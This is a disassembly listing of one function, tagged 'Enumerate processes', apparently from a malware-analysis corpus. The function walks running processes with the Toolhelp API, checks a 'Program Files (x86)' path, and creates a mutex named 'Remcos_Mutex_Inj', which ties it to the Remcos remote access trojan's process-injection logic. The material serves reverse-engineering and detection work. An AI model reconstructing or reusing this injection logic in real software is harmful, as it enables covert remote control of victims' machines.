Function at 0x40ce8e
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4b4
lea eax, [ebp - 0x4b0]
push ebx
push esi
push edi
push 0x104
push eax
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov edx, 0x461634
lea ecx, [ebp + 8]
call fcn.00407795
test al, al
jne 0x40d01f
lea ecx, [ebp - 0x1c]
call fcn.00401f5f
push ebx
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea ecx, [ebp - 0x2a8]
mov dword [ebp - 4], eax
push ecx
push eax
mov dword [ebp - 0x2a8], 0x22c
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x40cf51
lea eax, [ebp - 0x284]
push eax
lea ecx, [ebp - 0x34]
call fcn.00404260
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x34]
call fcn.004022fc
mov edi, eax
lea ecx, [ebp - 0x34]
lea eax, [ebp - 0x3c]
push eax
call fcn.004022bf
mov esi, eax
lea ecx, [ebp - 0x34]
lea eax, [ebp - 0x40]
push eax
call fcn.004022fc
push dword [edi]
lea ecx, [ebp - 0x44]
push dword [esi]
push dword [eax]
call fcn.00408269
add esp, 0xc
lea edx, [ebp + 8]
lea ecx, [ebp - 0x34]
call fcn.00409ee1
test al, al
jne 0x40cf90
lea ecx, [ebp - 0x34]
call fcn.00401ee2
lea eax, [ebp - 0x2a8]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x40cef2
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 0x46079c
lea ecx, [ebp - 0x1c]
call fcn.00407795
lea ecx, [ebp - 0x1c]
test al, al
jne 0x40d01a
call fcn.00401ee2
jmp 0x40d076
mov edx, dword [ebp - 0x2a0]
lea ecx, [ebp - 0x74]
call fcn.00418068
push eax
lea ecx, [ebp - 0x1c]
call fcn.00401eec
lea ecx, [ebp - 0x74]
call fcn.00401ee2
lea edx, [ebp - 0x4b0]
lea ecx, [ebp - 0x1c]
call fcn.00407795
test al, al
je 0x40cfd6
lea ecx, [ebp - 0x34]
call fcn.00401ee2
lea ecx, [ebp - 0x1c]
call fcn.00401ee2
jmp 0x40d0ee
mov edx, 0x46079c
lea ecx, [ebp - 0x1c]
call fcn.00407795
test al, al
jne 0x40d00f
mov ecx, dword [ebp - 0x2a0]
call fcn.00418032
test al, al
jne 0x40d00f
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp + 8]
call fcn.00409e8b
lea ecx, [ebp - 0x34]
call fcn.00401ee2
jmp 0x40cf65
lea ecx, [ebp - 0x34]
call fcn.00401ee2
lea ecx, [ebp - 0x1c]
call fcn.00401ee2
lea ecx, [ebp - 0x74]
call fcn.0041780b
push eax
lea ecx, [ebp + 8]
call fcn.00401eec
lea ecx, [ebp - 0x74]
call fcn.00401ee2
call fcn.00418004
test al, al
je 0x40d064
push ecx
push 0x461638
lea ecx, [ebp + 8]
call fcn.0040d4f9
cmp eax, 0xffffffff
je 0x40d064
push str.Program_Files__x86__
push 0xe
push eax
lea ecx, [ebp + 8]
call fcn.0040d51a
lea edx, [ebp + 8]
lea ecx, [ebp - 0x4b0]
call fcn.0040eb2f
test al, al
jne 0x40d0ee
push str.Remcos_Mutex_Inj
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
lea ecx, [ebp - 0x5c]
mov edi, eax
call fcn.004020c7
mov ecx, 0x46e590
call fcn.00401edd
lea edx, [ebp - 0x5c]
mov ecx, eax
call fcn.004183cc
lea ecx, [ebp - 0x5c]
call fcn.00401f87
lea ecx, [ebp + 8]
mov esi, eax
call fcn.00401edd
mov edx, esi
mov ecx, eax
call fcn.00414d29
test al, al
je 0x40d0df
xor ebx, ebx
mov ecx, 0x46e5a8
inc ebx
push ebx
push 0x461480
call fcn.00401f87
mov edx, eax
call fcn.00410bdf
pop ecx
pop ecx
jmp 0x40d0e6
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x5c]
call fcn.00401fb9
lea ecx, [ebp + 8]
call fcn.00401ee2
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret